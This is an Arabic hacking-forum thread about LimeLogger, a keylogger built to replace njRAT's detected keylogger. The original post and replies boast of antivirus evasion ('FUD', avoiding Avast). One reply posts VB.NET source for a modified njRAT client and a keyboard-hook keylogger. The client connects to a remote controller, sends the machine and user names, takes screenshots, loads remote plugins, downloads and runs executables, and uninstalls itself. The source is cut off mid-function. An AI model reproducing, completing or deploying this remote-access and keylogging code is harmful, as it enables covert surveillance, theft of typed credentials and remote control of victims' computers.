[ سورس ] LimeLogger - كيلوجر يدعم اللغات مثل العربية والانجليزية لبرامج الرات.


  • الـلـهـم انـصـر اخـوانـنـا الـمـسـلـمـيـن فـي بـورمـا وكـن مـعـهـم يـاربـاه يـاربـاه

NYAN CAT

ᴄᴀғғᴇɪɴᴇ ᴅᴇᴘᴇɴᴅᴇɴᴄᴇ
8 يناير 2019
464
1,173
Kuwait
github.com
0


السلام عليكم.

هذا موضوع قديم كتبته ولكن لم أطرحه في منتدى بروتيكشن.

عباره عن كلاس كيلوجر بديل لكلاس نجرات المشكوف. واستطاع بعض الأخوة المبدعين (اعتقد هو الاخ Hackitup ) ادخاله في كلاينت نجرات. مثال imgur.com/4OS0THf

لأن مثل ما تعرفون كلاس الكيلوجر للنجرات مكشوف ويسبب مشاكل مع الحمايات فبتالي وجب تغييره.

وأيضاً هذا الكلاس مرفق مع برنامج AsyncRAT.

فكرة المشروع أتت بعد ما أرفقت كلاس كيلوجر نجرات لبرنامجي AsyncRAT ووجدت أنه يسبب كشف الكلاينت سكان و ران تايم.

فقمت بكتابه هذا الكيلوجر بالسي شارب بدلاً من نسخ ولصق كيلوجر نجرات وكانت النتيجة FUD.


رابط المشروع:
https://github.com/NYAN-x-CAT/LimeLogger
 
التعديل الأخير:

BasharBachir

اللهم اغفر له وارحمه
طاقم الإدارة
28 أكتوبر 2018
2,688
3,654
1
كلاس يعتمد دوال ويندوز مارح تفرق اللغة ايش هيه بسيط في كتابته قوي في فكرته "ضلو سنين مااحد اجا يغير الكي لوجير غيرك"
مبدع يانيان والله
 
  • أعجبني
  • أحببته
التفاعلات: Mr.Ali، ViRusRat و NYAN CAT

Mr.Ali

Oops
طاقم الإدارة
3 يوليو 2019
6,412
349
0
الله يعطيك العافية نيان مبدع دوماً بتطبيق أفكارك:D1:
 
  • أعجبني
التفاعلات: NYAN CAT
23 يونيو 2019
11
23
0
شكرا علي الطرح
تفضل كيلوجر لانجرات و اي رات اخر لمن يريد تطوير اي رات
هذا المشروع عملت عليه علي تعديل ستب انجرات بحدف بعض الخصائص و بعض الاكواد التي تتحسس منها الحمايات
الكيلوجير الجديد به مشكلة مع الافاست لانه يستخرج مستند نصي و يحفظه في %temp%
سوف اري فيما بعد هذا المشكل واغيره الي مسار اخر لا تتحسس منه هذه الحماية
نتائج الفحص لسيرفر خام دون تثبيثات جد مرضية
و هذه نتائج فحص مشروع جديد https://virusscan.jotti.org/fr-FR/filescanjob/ka8ol86rxv
بما اني لا يمكن طرح هذه النسخة
سوف اضع اكواد السيرفر بعد التعديل فقط
C#:
Imports Microsoft.VisualBasic
Imports Microsoft.VisualBasic.CompilerServices
Imports Microsoft.Win32
Imports System
Imports System.Diagnostics
Imports System.RuntiInteropServices
Imports System.Text
Imports System.Threading
Imports System.Windows.Forms
Imports System.Drawing
Imports System.Drawing.Imaging
Imports System.IO
Imports System.IO.Compression
Imports System.Net
Imports System.Net.Sockets
Imports System.Reflection
Imports System.Security.Cryptography
Imports System.Runtime.InteropServices
Imports System.Runtime.CompilerServices
Imports Microsoft.VisualBasic.Devices
Imports testi.Stub
Imports Po.Stub
Imports WindowsApplication3.Stub

Public Class testio
    Public Shared Sub main()

        testi.ko()

    End Sub
End Class

Public Class testi

    Public Shared Function ACT() As String

    End Function

    Public Shared Function BS(ByRef B As Byte()) As String
        Return Encoding.UTF8.GetString(B)
    End Function




    Public Shared Function connect() As Boolean
        Try

            C = New TcpClient
            C.Connect(H, Conversions.ToInteger(P))
            Cn = True
            Send(inf)
            Try
                Dim str As String
                Send(("inf" & Y & ENB(str)))
            Catch ex As Exception
            End Try
        Catch ex As Exception
            Cn = False

        End Try

        Return Cn
    End Function

    Public Shared Function DEB(ByRef s As String) As String
        Return BS(Convert.FromBase64String(s))
    End Function

    Public Shared Sub DLV(ByVal n As String)

    End Sub



    Public Shared Function ENB(ByRef s As String) As String
        Return Convert.ToBase64String(SB(s))
    End Function



    Public Shared Function GTV(ByVal n As String, ByVal ret As Object) As Object
        Dim obj2 As Object
        Try
            obj2 = F.Registry.CurrentUser.OpenSubKey(("Software\" & RG)).GetValue(n, RuntimeHelpers.GetObjectValue(ret))
        Catch exception1 As Exception
            ProjectData.SetProjectError(exception1)
            Dim exception As Exception = exception1
            obj2 = ret
            ProjectData.ClearProjectError()
        End Try
        Return obj2
    End Function

    Public Shared Function HWD() As String

    End Function

    Public Shared Sub Ind(ByVal b As Byte())
        Dim strArray As String() = Strings.Split(BS(b), Y, -1, CompareMethod.Binary)
        Try
            Dim buffer As Byte()
            Dim str4 As String = strArray(0)
            Select Case str4
                Case "ll"
                    Cn = False
                    Return
                Case "kl"
                    Send(("kl" & Y & ENB(o.Logs)))
                    Return
                Case "prof"
                    Select Case strArray(1)
                        Case "~"
                            STV(strArray(2), strArray(3), RegistryValueKind.String)
                            Exit Select
                        Case "!"
                            STV(strArray(2), strArray(3), RegistryValueKind.String)
                            Send(Conversions.ToString(Operators.ConcatenateObject((("getvalue" & Y) & strArray(1) & Y), GTV(strArray(1), ""))))
                            Exit Select
                        Case "@"
                            DLV(strArray(2))
                            Exit Select
                    End Select
                    Return
            End Select

Label_020B:

Label_0294:
            Select Case str4
                Case "inv"
                    Dim t As Byte() = DirectCast(GTV(strArray(1), New Byte(0 - 1) {}), Byte())
                    If ((strArray(3).Length < 10) And (t.Length = 0)) Then
                        Send(String.Concat(New String() {"pl", Y, strArray(1), Y, Conversions.ToString(1)}))
                    Else
                        If (strArray(3).Length > 10) Then
                            Dim stream2 As New MemoryStream
                            Dim offset As Integer = String.Concat(New String() {strArray(0), Y, strArray(1), Y, strArray(2), Y}).Length
                            stream2.Write(b, offset, (b.Length - offset))
                            t = ZIP(stream2.ToArray)
                            STV(strArray(1), t, RegistryValueKind.Binary)
                        End If
                        Send(String.Concat(New String() {"pl", Y, strArray(1), Y, Conversions.ToString(0)}))
                        Dim objectValue As Object = RuntimeHelpers.GetObjectValue(Plug(t, "A"))
                        NewLateBinding.LateSet(objectValue, Nothing, "h", New Object() {H}, Nothing, Nothing)
                        NewLateBinding.LateSet(objectValue, Nothing, "p", New Object() {P}, Nothing, Nothing)
                        NewLateBinding.LateSet(objectValue, Nothing, "osk", New Object() {strArray(2)}, Nothing, Nothing)
                        NewLateBinding.LateCall(objectValue, Nothing, "start", New Object(0 - 1) {}, Nothing, Nothing, Nothing, True)
                        Do While Not Conversions.ToBoolean(Operators.OrObject(Not Cn, Operators.CompareObjectEqual(NewLateBinding.LateGet(objectValue, Nothing, "Off", New Object(0 - 1) {}, Nothing, Nothing, Nothing), True, False)))
                            Thread.Sleep(1)
                        Loop
                        NewLateBinding.LateSet(objectValue, Nothing, "off", New Object() {True}, Nothing, Nothing)
                    End If
                    Return
                Case "ret"
                    Dim buffer3 As Byte() = DirectCast(GTV(strArray(1), New Byte(0 - 1) {}), Byte())
                    If ((strArray(2).Length < 10) And (buffer3.Length = 0)) Then
                        Send(String.Concat(New String() {"pl", Y, strArray(1), Y, Conversions.ToString(1)}))
                    Else
                        If (strArray(2).Length > 10) Then
                            Dim stream3 As New MemoryStream
                            Dim num3 As Integer = (strArray(0) & Y & strArray(1) & Y).Length
                            stream3.Write(b, num3, (b.Length - num3))
                            buffer3 = ZIP(stream3.ToArray)
                            STV(strArray(1), buffer3, RegistryValueKind.Binary)
                        End If
                        Send(String.Concat(New String() {"pl", Y, strArray(1), Y, Conversions.ToString(0)}))
                        Dim instance As Object = RuntimeHelpers.GetObjectValue(Plug(buffer3, "A"))
                        Send(String.Concat(New String() {"ret", Y, strArray(1), Y, ENB(Conversions.ToString(NewLateBinding.LateGet(instance, Nothing, "GT", New Object(0 - 1) {}, Nothing, Nothing, Nothing)))}))
                    End If
                    Return
                Case "CAP"
                    Dim bounds As Rectangle = Screen.PrimaryScreen.Bounds
                    Dim image As New Bitmap(Screen.PrimaryScreen.Bounds.Width, bounds.Height, PixelFormat.Format16bppRgb555)
                    Dim g As Graphics = Graphics.FromImage(image)
                    Dim blockRegionSize As New Size(image.Width, image.Height)
                    g.CopyFromScreen(0, 0, 0, 0, blockRegionSize, CopyPixelOperation.SourceCopy)
                    Try
                        blockRegionSize = New Size(&H20, &H20)
                        bounds = New Rectangle(Cursor.Position, blockRegionSize)
                        Cursors.Default.Draw(g, bounds)
                    Catch exception12 As Exception
                        ProjectData.SetProjectError(exception12)
                        Dim exception4 As Exception = exception12
                        ProjectData.ClearProjectError()
                    End Try
                    g.Dispose()
                    Dim bitmap2 As New Bitmap(Conversions.ToInteger(strArray(1)), Conversions.ToInteger(strArray(2)))
                    g = Graphics.FromImage(bitmap2)
                    g.DrawImage(image, 0, 0, bitmap2.Width, bitmap2.Height)
                    g.Dispose()
                    Dim stream4 As New MemoryStream
                    b = SB(("CAP" & Y))
                    stream4.Write(b, 0, b.Length)
                    Dim stream5 As New MemoryStream
                    bitmap2.Save(stream5, ImageFormat.Jpeg)
                    Dim str2 As String = md5(stream5.ToArray)
                    If (str2 <> lastcap) Then
                        lastcap = str2
                        stream4.Write(stream5.ToArray, 0, CInt(stream5.Length))
                    Else
                        stream4.WriteByte(0)
                    End If
                    Sendb(stream4.ToArray)
                    stream4.Dispose()
                    stream5.Dispose()
                    image.Dispose()
                    bitmap2.Dispose()
                    Return
                Case "un"
                    Select Case strArray(1)
                        Case "~"
                            UNS()
                            Exit Select


                    End Select
                    Return
            End Select
            If (str4 <> "up") Then
                GoTo Label_0A1C
            End If
            Dim bytes As Byte() = Nothing
            If (strArray(1).Chars(0) = ChrW(31)) Then

            End If


Label_097B:
            Send("bla")
            Dim fileName As String = (Path.GetTempFileName & ".exe")
            Try
                Send(("MSG" & Y & "Updating To " & New FileInfo(fileName).Name))
                Thread.Sleep(&H7D0)
                File.WriteAllBytes(fileName, bytes)
                Process.Start(fileName, "..")
            Catch exception15 As Exception
                ProjectData.SetProjectError(exception15)
                Dim exception7 As Exception = exception15
                Send(("MSG" & Y & "Update ERROR " & exception7.Message))
                ProjectData.ClearProjectError()
                Return
            End Try
            UNS()
            Return
Label_0A1C:
            If (str4 = "Ex") Then
                If (PLG Is Nothing) Then
                    Send("PLG")
                    Dim num5 As Integer = 0
                    Do While Not (((Not PLG Is Nothing) Or (num5 = 20)) Or Not Cn)
                        num5 += 1
                        Thread.Sleep(&H3E8)
                    Loop
                    If ((PLG Is Nothing) Or Not Cn) Then
                        Return
                    End If
                End If
                Dim arguments As Object() = New Object() {b}
                Dim copyBack As Boolean() = New Boolean() {True}
                NewLateBinding.LateCall(PLG, Nothing, "ind", arguments, Nothing, Nothing, copyBack, True)
                If copyBack(0) Then
                    b = DirectCast(Conversions.ChangeType(RuntimeHelpers.GetObjectValue(arguments(0)), GetType(Byte())), Byte())
                End If
            ElseIf (str4 = "PLG") Then
                Dim stream7 As New MemoryStream
                Dim num6 As Integer = (strArray(0) & Y).Length
                stream7.Write(b, num6, (b.Length - num6))
                PLG = RuntimeHelpers.GetObjectValue(Plug(ZIP(stream7.ToArray), "A"))
                NewLateBinding.LateSet(PLG, Nothing, "H", New Object() {H}, Nothing, Nothing)
                NewLateBinding.LateSet(PLG, Nothing, "P", New Object() {P}, Nothing, Nothing)
                NewLateBinding.LateSet(PLG, Nothing, "c", New Object() {C}, Nothing, Nothing)
            End If
        Catch exception16 As Exception
            ProjectData.SetProjectError(exception16)
            Dim exception8 As Exception = exception16
            If ((strArray.Length > 0) AndAlso ((strArray(0) = "Ex") Or (strArray(0) = "PLG"))) Then
                PLG = Nothing
            End If
            Try
                Send(String.Concat(New String() {"ER", Y, strArray(0), Y, exception8.Message}))
            Catch exception17 As Exception
                ProjectData.SetProjectError(exception17)
                Dim exception9 As Exception = exception17
                ProjectData.ClearProjectError()
            End Try
            ProjectData.ClearProjectError()
        End Try
    End Sub

    Public Shared Function inf() As String
        Dim str2 As String = ("ll" & Y)
        Try
            If Operators.ConditionalCompareObjectEqual(GTV("vn", ""), "", False) Then
                str2 = (str2 & ENB(("_")) & Y)
            Else
                str2 = (str2 & ENB(Conversions.ToString(GTV("vn", ""))) & ("_")) & Y
            End If
        Catch ex As Exception

            str2 = (str2 & Y)

        End Try
        Try
            str2 = (str2 & Environment.MachineName & Y)
        Catch ex As Exception

            str2 = (str2 & "??" & Y)

        End Try
        Try
            str2 = (str2 & Environment.UserName & Y)
        Catch ex As Exception

            str2 = (str2 & "??" & Y)

        End Try
        Try
            str2 = (str2 & LO.LastWriteTime.Date.ToString("dd-MM-yyyy") & Y)
        Catch ex As Exception

            str2 = (str2 & "??-??-??" & Y)

        End Try
        str2 = (str2 & Y)

        Try
            str2 = (str2 & Y)
            str2 = (str2 & Y)
        Catch ex As Exception

            str2 = (str2 & Y)

        End Try
        Try

            str2 = (((str2 & Y) & "" & Y) & Y)

        Catch ex As Exception

        End Try
        Return (str2)
    End Function


    Public Shared Sub ko()
        o = New kl
        Dim F111 As Thread = New Thread(New ThreadStart(AddressOf RC), 1) : F111.Start()
        o.Start()

        Dim zaza As New Thread(New ThreadStart(AddressOf o.WRK), 1)

    End Sub

    Public Shared Function md5(ByVal B As Byte()) As String
        B = New MD5CryptoServiceProvider().ComputeHash(B)
        Dim str2 As String = ""
        Dim num As Byte
        For Each num In B
            str2 = (str2 & num.ToString("x2"))
        Next
        Return str2
    End Function



    Public Shared Function Plug(ByVal b As Byte(), ByVal c As String) As Object
        Dim module1 As [Module]
        For Each module1 In Assembly.Load(b).GetModules
            Dim typeA As Type
            For Each typeA In module1.GetTypes
                If typeA.FullName.EndsWith(("." & c)) Then
                    Return module1.Assembly.CreateInstance(typeA.FullName)
                End If
            Next
        Next
        Return Nothing
    End Function



    Public Shared Sub RC()
Label_0000:
        lastcap = ""
        If (Not C Is Nothing) Then
            Dim num As Long = -1
            Dim num2 As Integer = 0
            Try
Label_001B:
                num2 += 1
                If (num2 = 10) Then
                    num2 = 0
                    Thread.Sleep(1)
                End If
                If Not Cn Then
                    GoTo Label_01C1
                End If
                If (C.Available < 1) Then
                    C.Client.Poll(-1, SelectMode.SelectRead)
                End If
Label_0057:
                If (C.Available > 0) Then
                    If (num = -1) Then
                        Dim str As String = ""
                        Do While True
                            Dim charCode As Integer = C.GetStream.ReadByte
                            Select Case charCode
                                Case -1
                                    GoTo Label_01C1
                                Case 0
                                    num = Conversions.ToLong(str)
                                    str = ""
                                    If (num = 0) Then
                                        Send("")
                                        num = -1
                                    End If
                                    If (C.Available <= 0) Then
                                        GoTo Label_001B
                                    End If
                                    GoTo Label_0057
                            End Select
                            str = (str & Conversions.ToString(Conversions.ToInteger(Strings.ChrW(charCode).ToString)))
                        Loop
                    End If
                    b = New Byte((C.Available + 1) - 1) {}
                    Dim num5 As Long = (num - MeM.Length)
                    If (b.Length > num5) Then
                        b = New Byte((CInt((num5 - 1)) + 1) - 1) {}
                    End If
                    Dim count As Integer = C.Client.Receive(b, 0, b.Length, SocketFlags.None)
                    MeM.Write(b, 0, count)
                    If (MeM.Length = num) Then
                        num = -1

                        Dim th As New Thread(New ParameterizedThreadStart(AddressOf Ind), 1)
                        th.Start(MeM.ToArray)
                        th.Join(100)
                        MeM.Dispose()
                        MeM = New MemoryStream
                    End If
                    GoTo Label_001B
                End If
            Catch exception1 As Exception
                ProjectData.SetProjectError(exception1)
                Dim exception As Exception = exception1
                ProjectData.ClearProjectError()
            End Try
        End If
Label_01C1:
        Try
            If (Not PLG Is Nothing) Then
                NewLateBinding.LateCall(PLG, Nothing, "clear", New Object(0 - 1) {}, Nothing, Nothing, Nothing, True)
                PLG = Nothing
            End If
        Catch exception3 As Exception
            ProjectData.SetProjectError(exception3)
            Dim exception2 As Exception = exception3
            ProjectData.ClearProjectError()
        End Try
        Cn = False
        If Not connect() Then
            GoTo Label_01C1
        End If
        Cn = True
        GoTo Label_0000
    End Sub

    Public Shared Function SB(ByRef S As String) As Byte()
        Return Encoding.UTF8.GetBytes(S)
    End Function

    Public Shared Function Send(ByVal S As String) As Boolean
        Return Sendb(SB(S))
    End Function

    Public Shared Function Sendb(ByVal b As Byte()) As Boolean
        Try


            Dim stream As New MemoryStream
            Dim length As Integer = b.Length
            Dim buffer As Byte() = SB((length.ToString & ChrW(0)))
            stream.Write(buffer, 0, buffer.Length)
            stream.Write(b, 0, b.Length)
            C.Client.Send(stream.ToArray, 0, CInt(stream.Length), SocketFlags.None)

        Catch ex As Exception


        End Try
    End Function

    Public Shared Function STV(ByVal n As String, ByVal t As Object, ByVal typ As RegistryValueKind) As Boolean

    End Function

    Public Shared Sub UNS()
        Try
            Interaction.Shell(("cmd.exe /c ping 0 -n 2 & del """ & """"), AppWinStyle.Hide, False, -1)
        Catch ex As Exception

        End Try
        ProjectData.EndApp()

    End Sub

    Public Shared Function ZIP(ByVal B As Byte()) As Byte()
        Dim stream2 As New MemoryStream(B)
        Dim stream As New GZipStream(stream2, CompressionMode.Decompress)
        Dim buffer2 As Byte() = New Byte(4 - 1) {}
        stream2.Position = (stream2.Length - 5)
        stream2.Read(buffer2, 0, 4)
        Dim count As Integer = BitConverter.ToInt32(buffer2, 0)
        stream2.Position = 0
        Dim array As Byte() = New Byte(((count - 1) + 1) - 1) {}
        stream.Read(array, 0, count)
        stream.Dispose()
        stream2.Dispose()
        Return array
    End Function



    Public Shared Function Fix(ByVal k As Keys) As String
        Dim str As String
        Dim shiftKeyDown As Boolean = F.Keyboard.ShiftKeyDown
        If F.Keyboard.CapsLock Then
            If shiftKeyDown Then
                shiftKeyDown = False
            Else
                shiftKeyDown = True
            End If
        End If
        Try
            Select Case k
                Case Keys.Delete, Keys.Back
                    Return ("[" & k.ToString & "]")
                Case Keys.LShiftKey, Keys.RShiftKey, Keys.Shift, Keys.ShiftKey, Keys.Control, Keys.ControlKey, Keys.RControlKey, Keys.LControlKey, Keys.Alt, Keys.F1, Keys.F2, Keys.F3, Keys.F4, Keys.F5, Keys.F6, Keys.F7, Keys.F8, Keys.F9, Keys.F10, Keys.F11, Keys.F12, Keys.End
                    Return ""
                Case Keys.Space
                    Return " "
                Case Keys.Enter, Keys.Enter
                    If Logs.EndsWith("[ENTER]" & ChrW(13) & ChrW(10)) Then
                        Return ""
                    End If
                    Return "[ENTER]" & ChrW(13) & ChrW(10)
                Case Keys.Tab
                    Return "[TAP]" & ChrW(13) & ChrW(10)
            End Select
            If shiftKeyDown Then
            End If
        Catch exception1 As Exception
            ProjectData.SetProjectError(exception1)
            Dim exception As Exception = exception1
            If shiftKeyDown Then
                str = Strings.ChrW(CInt(k)).ToString.ToUpper
                ProjectData.ClearProjectError()
                Return str
            End If
            str = Strings.ChrW(CInt(k)).ToString.ToLower
            ProjectData.ClearProjectError()
        End Try
        Return str
    End Function





    Public Shared b As Byte() = New Byte(&H1401 - 1) {}
    Public Shared BD As Boolean = False
    Public Shared C As TcpClient = New TcpClient
    Public Shared Cn As Boolean = False
    Public Shared DR As String = "TEMP"
    Public Shared EXE As String = ("server.exe")
    Public Shared F As Computer = New Computer
    Public Shared H As String = "127.0.0.1"

    Public Shared lastcap As String = String.Empty
    Public Shared LO As FileInfo = New FileInfo(Application.ExecutablePath)
    Public Shared MeM As MemoryStream = New MemoryStream
    Public Shared MT As Object = New Object() {}
    Public Shared P As String = "5552"
    Public Shared PLG As Object = New Object() {}
    Public Shared RG As String = "6a2634340fbf8a0a2c038c6263d49fd1"

    Public Shared VN As String = "SGFjS2Vk"
    Public Shared o As kl
    Public Shared Y As String = "|'|'|"
    Public Shared LastAS As String = String.Empty
    Public Shared LastAV As Integer = 0
    Public Shared lastKey As Keys = Keys.None
    Public Shared Logs As String = String.Empty



End Class
الكيلوجر

C#:
Imports Microsoft.VisualBasic
Imports Microsoft.VisualBasic.CompilerServices
Imports Stub.My
Imports System
Imports System.Diagnostics
Imports System.IO
Imports System.Reflection
Imports System.Runtime.CompilerServices
Imports System.Runtime.InteropServices
Imports System.Text
Imports System.Threading
Imports System.Windows.Forms

Namespace Stub
    Public Class kl
        ' Methods
        <MethodImpl(MethodImplOptions.NoInlining)>
        Public Sub New()
            Me.KBDLLHookProcDelegate = New KBDLLHookProc(AddressOf Me.KeyboardProc)
            Me.HHookID = IntPtr.Zero
        End Sub

        <MethodImpl(MethodImplOptions.NoInlining)>
        Private Function AV() As String
            Dim str As String
            Try
                Dim num As Integer
                Dim foregroundWindow As IntPtr = kl.GetForegroundWindow
                kl.GetWindowThreadProcessId(foregroundWindow, num)
                Dim processById As Process = Process.GetProcessById(num)
                If ((foregroundWindow.ToInt32 = Me.LastAV) And (Me.LastAS = processById.MainWindowTitle)) Then
                    Return ""
                End If
                Me.LastAV = foregroundWindow.ToInt32
                Me.LastAS = processById.MainWindowTitle
                str = String.Concat(New String() {ChrW(13) & ChrW(10) & ChrW(13) & ChrW(10) & "[", Me.LastAS, "]", Me.HM, ChrW(13) & ChrW(10)})
            Catch exception1 As Exception
                ProjectData.SetProjectError(exception1)
                Dim exception As Exception = exception1
                str = ""
                ProjectData.ClearProjectError()
                Return str
                ProjectData.ClearProjectError()
            End Try
            Return str
        End Function

        <DllImport("user32.dll", CallingConvention:=CallingConvention.StdCall, CharSet:=CharSet.Auto)>
        Private Shared Function CallNextHookEx(ByVal idHook As Integer, ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer
        End Function

        <MethodImpl(MethodImplOptions.NoInlining)>
        Public Sub Close(ByVal DeleteLogs As Boolean)
            Me.OFF = True
            Do While Me.isRunning
                Thread.Sleep(1)
            Loop
            If DeleteLogs Then
                Thread.Sleep(&H3E8)
                Try
                    File.Delete(Me.LogsPath)
                Catch exception1 As Exception
                    ProjectData.SetProjectError(exception1)
                    Dim exception As Exception = exception1
                    ProjectData.ClearProjectError()
                End Try
                Me.Logs = ""
            End If
            Me.OFF = False
        End Sub

        <MethodImpl(MethodImplOptions.NoInlining)>
        Private Function Fix(ByVal k As Keys) As String
            Dim str As String
            Dim shiftKeyDown As Boolean = My.Computer.Keyboard.ShiftKeyDown
            If My.Computer.Keyboard.CapsLock Then
                If shiftKeyDown Then
                    shiftKeyDown = False
                Else
                    shiftKeyDown = True
                End If
            End If
            Try
                Dim keys As Keys = k
                Select Case keys
                    Case Keys.LShiftKey, Keys.RShiftKey, Keys.Shift, Keys.ShiftKey, Keys.Control, Keys.ControlKey, Keys.RControlKey
                        Exit Select
                    Case Keys.Back
                        Return ("[" & k.ToString & "]")
                    Case Else
                        If (keys = Keys.LControlKey) Then
                        End If
                        Exit Select
                End Select
                If (keys = Keys.Alt) Then
                    Return ""
                End If
                If (keys = Keys.Space) Then
                    Return " "
                End If
                If ((keys = Keys.Enter) OrElse (keys = Keys.Enter)) Then
                    If (Me.lastKey = k) Then
                        Return ""
                    End If
                    Return "[ENTER]" & ChrW(13) & ChrW(10)
                End If
                If (keys = Keys.Tab) Then
                    If (Me.lastKey = k) Then
                        Return ""
                    End If
                    Return "[TAP]" & ChrW(13) & ChrW(10)
                End If
                If shiftKeyDown Then
                    Return kl.VKCodeToUnicode(CType(k, UInt32)).ToUpper
                End If
                Return kl.VKCodeToUnicode(CType(k, UInt32))
            Catch exception1 As Exception
                ProjectData.SetProjectError(exception1)
                Dim exception As Exception = exception1
                If shiftKeyDown Then
                    str = Strings.ChrW(CInt(k)).ToString.ToUpper
                    ProjectData.ClearProjectError()
                    Return str
                End If
                str = Strings.ChrW(CInt(k)).ToString.ToLower
                ProjectData.ClearProjectError()
                Return str
                ProjectData.ClearProjectError()
            End Try
            Return str
        End Function

        <DllImport("user32", CharSet:=CharSet.Ansi, SetLastError:=True, ExactSpelling:=True)>
        Private Shared Function GetForegroundWindow() As IntPtr
        End Function

        <DllImport("user32", CharSet:=CharSet.Ansi, SetLastError:=True, ExactSpelling:=True)>
        Private Shared Function GetKeyboardLayout(ByVal dwLayout As Integer) As Integer
        End Function

        <DllImport("user32.dll")>
        Private Shared Function GetKeyboardState(ByVal lpKeyState As Byte()) As Boolean
        End Function

        <DllImport("user32.dll", CharSet:=CharSet.Ansi, SetLastError:=True, ExactSpelling:=True)>
        Private Shared Function GetWindowThreadProcessId(ByVal hwnd As IntPtr, ByRef lpdwProcessID As Integer) As Integer
        End Function

        <MethodImpl(MethodImplOptions.NoInlining)>
        Private Function HM() As String
            Dim localTime As DateTime = My.Computer.Clock.LocalTime
            Return String.Concat(New String() {" ", Conversions.ToString(localTime.Day), "\", Conversions.ToString(localTime.Month), "\", Conversions.ToString(localTime.Year)})
        End Function

        <MethodImpl(MethodImplOptions.NoInlining)>
        Private Function KeyboardProc(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer
            Dim kbdllhookstruct As KBDLLHOOKSTRUCT
            Dim kbdllhookstruct2 As KBDLLHOOKSTRUCT
            Dim kbdllhookstruct3 As KBDLLHOOKSTRUCT
            Dim expressionStack_4A_0 As Integer
            Dim expressionStack_7D_0 As KBDLLHOOKSTRUCT
            Dim expressionStack_FE_0 As KBDLLHOOKSTRUCT
            If (nCode <> 0) Then
                GoTo Label_0114
            End If
            Dim ptr As IntPtr = wParam
            If (Not (ptr = CType(&H100, IntPtr)) AndAlso Not (ptr = CType(260, IntPtr))) Then
                expressionStack_4A_0 = 0
            Else
                expressionStack_4A_0 = 1
            End If
            If (expressionStack_4A_0 = 0) Then
                Dim expressionStack_CB_0 As Integer
                If (Not (ptr = CType(&H101, IntPtr)) AndAlso Not (ptr = CType(&H105, IntPtr))) Then
                    expressionStack_CB_0 = 0
                Else
                    expressionStack_CB_0 = 1
                End If
                If (expressionStack_CB_0 = 0) Then
                    GoTo Label_0114
                End If
                Dim obj3 As Object = Marshal.PtrToStructure(lParam, kbdllhookstruct.GetType)
                If (Not obj3 Is Nothing) Then
                    Dim expressionStack_F4_0 As Object = obj3
                    expressionStack_FE_0 = DirectCast(expressionStack_F4_0, KBDLLHOOKSTRUCT)
                    GoTo Label_00FE
                Else
                    Dim expressionStack_EC_0 As Object = obj3
                End If
                expressionStack_FE_0 = kbdllhookstruct2
                GoTo Label_00FE
            End If
            Dim obj2 As Object = Marshal.PtrToStructure(lParam, kbdllhookstruct.GetType)
            If (Not obj2 Is Nothing) Then
                Dim expressionStack_73_0 As Object = obj2
                expressionStack_7D_0 = DirectCast(expressionStack_73_0, KBDLLHOOKSTRUCT)
                GoTo Label_007D
            Else
                Dim expressionStack_6B_0 As Object = obj2
            End If
            expressionStack_7D_0 = kbdllhookstruct2
Label_007D:
            kbdllhookstruct3 = expressionStack_7D_0
            Dim vkCode As Keys = DirectCast(CInt(kbdllhookstruct3.vkCode), Keys)
            Me.Isdown(CInt(vkCode)) = True
            GoTo Label_0114
Label_00FE:
            kbdllhookstruct3 = expressionStack_FE_0
            Dim keys2 As Keys = DirectCast(CInt(kbdllhookstruct3.vkCode), Keys)
            Me.Isdown(CInt(keys2)) = False
Label_0114:
            Return kl.CallNextHookEx(CInt(IntPtr.Zero), nCode, wParam, lParam)
        End Function

        <DllImport("user32.dll")>
        Private Shared Function MapVirtualKey(ByVal uCode As UInt32, ByVal uMapType As UInt32) As UInt32
        End Function

        <DllImport("user32.dll", CallingConvention:=CallingConvention.StdCall, CharSet:=CharSet.Auto)>
        Private Shared Function SetWindowsHookEx(ByVal idHook As Integer, ByVal HookProc As KBDLLHookProc, ByVal hInstance As IntPtr, ByVal wParam As Integer) As Integer
        End Function

        <MethodImpl(MethodImplOptions.NoInlining)>
        Public Sub Start()
            If Not Me.isRunning Then
                Try
                    Me.Logs = File.ReadAllText(Me.LogsPath)
                Catch exception1 As Exception
                    ProjectData.SetProjectError(exception1)
                    Dim exception As Exception = exception1
                    ProjectData.ClearProjectError()
                End Try
                Me.Stream = File.AppendText(Me.LogsPath)
                Me.Stream.AutoFlush = True
                Dim hINSTANCE As IntPtr = Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()(0))
                Me.HHookID = CType(kl.SetWindowsHookEx(13, KBDLLHookProcDelegate, CType(hINSTANCE.ToInt32(), IntPtr), 0), IntPtr)
                Dim oo As New Thread(New ThreadStart(AddressOf Me.WRK), 1)
                oo.Start()
            End If
        End Sub

        <DllImport("user32.dll")>
        Private Shared Function ToUnicodeEx(ByVal wVirtKey As UInt32, ByVal wScanCode As UInt32, ByVal lpKeyState As Byte(), <Out, MarshalAs(UnmanagedType.LPWStr)> ByVal pwszBuff As StringBuilder, ByVal cchBuff As Integer, ByVal wFlags As UInt32, ByVal dwhkl As IntPtr) As Integer
        End Function

        <DllImport("user32.dll", CallingConvention:=CallingConvention.StdCall, CharSet:=CharSet.Auto)>
        Private Shared Function UnhookWindowsHookEx(ByVal idHook As Integer) As Boolean
        End Function

        <MethodImpl(MethodImplOptions.NoInlining)>
        Private Shared Function VKCodeToUnicode(ByVal VKCode As UInt32) As String
            Try
                Dim pwszBuff As New StringBuilder
                Dim lpKeyState As Byte() = New Byte(&HFF - 1) {}
                If Not kl.GetKeyboardState(lpKeyState) Then
                    Return ""
                End If
                Dim wScanCode As UInt32 = kl.MapVirtualKey(VKCode, 0)
                Dim foregroundWindow As IntPtr = kl.GetForegroundWindow
                Dim lpdwProcessID As Integer = 0
                Dim keyboardLayout As IntPtr = CType(kl.GetKeyboardLayout(kl.GetWindowThreadProcessId(foregroundWindow, lpdwProcessID)), IntPtr)
                kl.ToUnicodeEx(VKCode, wScanCode, lpKeyState, pwszBuff, 5, 0, keyboardLayout)
                Return pwszBuff.ToString
            Catch exception1 As Exception
                ProjectData.SetProjectError(exception1)
                Dim exception As Exception = exception1
                ProjectData.ClearProjectError()
            End Try
            Return DirectCast(CInt(VKCode), Keys).ToString
        End Function

        <MethodImpl(MethodImplOptions.NoInlining)>
        Public Sub WRK()
            Me.isRunning = True
            Try
                Do While Not Me.OFF
                    Thread.Sleep(1)
                    Dim num2 As Integer = (Me.Isdown.Length - 1)
